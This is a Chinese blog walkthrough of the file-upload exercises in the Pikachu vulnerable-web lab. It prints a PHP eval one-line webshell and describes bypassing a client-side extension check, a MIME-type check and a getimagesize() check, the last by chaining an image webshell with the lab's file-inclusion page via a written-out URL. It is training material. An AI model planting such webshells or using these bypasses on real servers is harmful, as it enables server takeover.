当前位置: 首页 > news >正文

pikachu靶场- 文件上传unsafe upfileupload

pikachu靶场- unsafe upfileupload

  • 概述
  • client check
  • MIME type
  • getimagesize()

概述

不安全的文件上传漏洞概述
文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:

  • 验证文件类型、后缀名、大小;
  • 验证文件的上传方式;
  • 对文件进行一定复杂的重命名;
  • 不要暴露文件上传后的路径;
  • 等等…

client check

上传一句话木马,改为jpg后缀

<?php @eval($_POST['cmd']);?>

在这里插入图片描述
回显了文件保存路径

vul/unsafeupload/uploads/1.jpg

打开路径发现并没有执行php,不符合预期,要想办法上传.php,抓包修改后缀试试,抓包的时候发现前端直接就检测后缀了,那可以先上传jpg在抓包改为php
在这里插入图片描述

在这里插入图片描述
打开页面发现php被执行了,使用蚁剑连接成功

MIME type

在这里插入图片描述

上传php文件抓包修改为image/jpeg类型

在这里插入图片描述
成功上传并被执行了

getimagesize()

在这里插入图片描述
尝试抓包修改后缀名试试
在这里插入图片描述

上传一个图片马,图片马可以上传,但是没有执行,需要有文件包含漏洞
在这里插入图片描述
来到靶场/vul/fileinclude/fi_local.php目录下,拼接图片马返回的url

/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2024/10/24/628730671a0b5396669385741068.jpg&submit=%E6%8F%90%E4%BA%A4

在这里插入图片描述
在这里插入图片描述
成功执行

http://www.lryc.cn/news/468605.html

相关文章:

  • java中this的内存原理是?
  • Matlab 车牌识别技术
  • CUDA-求最大值最小值atomicMaxatomicMin
  • 新的Midjourney就是一个增强版的Photoshop,你现在可以轻松的用它换衣服、换发型了
  • Linux系统安装软件的4种方式【源码配置编译安装、yum安装、rpm包安装、二进制软件包安装(.rpm/.tar.gz/.tgz/.bz2)】
  • 基于Spring Boot的洪涝灾害应急信息管理系统设计与实现
  • 912.排序数组(桶排序)
  • IPC 进程间通信 消息队列
  • opencv 图像翻转- python 实现
  • 使用DolphinScheduler接口实现批量导入工作流并上线
  • pycharm导出环境安装包列表
  • 分体式智能网关在现代电力物联网中的优势有哪些?
  • 第14篇:下一代网络与新兴技术
  • 物联网数据采集网关详细介绍-天拓四方
  • 2024软考网络工程师笔记 - 第10章.组网技术
  • C语言——字符串指针和字符串数组
  • 7-1回文判断(栈和队列PTA)
  • 使用 NCC 和 PKG 打包 Node.js 项目为可执行文件(Linux ,macOS,Windows)
  • LeetCode:2747. 统计没有收到请求的服务器数目(滑动窗口 Java)
  • 项目管理工具--【项目策划任务书】模板
  • 雷池社区版那么火,为什么站长都使用雷池社区版??
  • 分布式日志有哪些?
  • ETCD未授权访问风险基于角色认证和启用https的ca证书修复方案
  • 执行Django项目的数据库迁移命令时报错:(1050, “Table ‘django_session‘ already exists“);如何破?
  • 问丫:创新社交平台的技术魅力与发展潜力
  • iOS Swift逆向——被编译优化后的函数参数调用约定修复
  • self-supervised learning(BERT和GPT)
  • 基于RBF神经网络的双参数自适应光储VSG构网逆变器MATLAB仿真模型
  • Openpyxl--学习记录
  • 高边坡稳定安全监测预警系统解决方案